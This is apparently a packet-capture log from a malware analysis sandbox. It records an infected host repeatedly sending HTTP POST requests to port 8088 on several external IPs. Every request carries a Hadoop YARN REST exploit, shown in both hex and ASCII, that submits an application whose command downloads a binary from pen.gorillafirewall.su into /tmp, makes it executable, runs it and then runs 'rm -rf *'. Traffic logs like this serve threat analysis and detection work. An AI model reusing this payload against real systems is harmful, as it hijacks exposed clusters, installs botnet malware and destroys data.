Sep 12, 2024 00:38:50.875025988 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 81.209.218.53:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	52146	197.159.201.249	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:53.878185034 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 197.159.201.249:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:54.214703083 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 197.159.201.249:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:38:54.539369106 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 197.159.201.249:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	43392	192.126.40.239	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:59.881345987 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 192.126.40.239:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:00.580811024 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 192.126.40.239:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:01.284791946 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 192.126.40.239:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	51444	204.235.25.185	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:05.884020090 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:06.180124044 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:06.467984915 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:07.043893099 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:08.195836067 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:10.627443075 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:15.234850883 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:24.453568935 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 204.235.25.185:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	41746	254.30.40.98	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:39:08.886118889 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:09.155649900 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:09.443618059 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:39:09.987520933 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.30.40.98:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
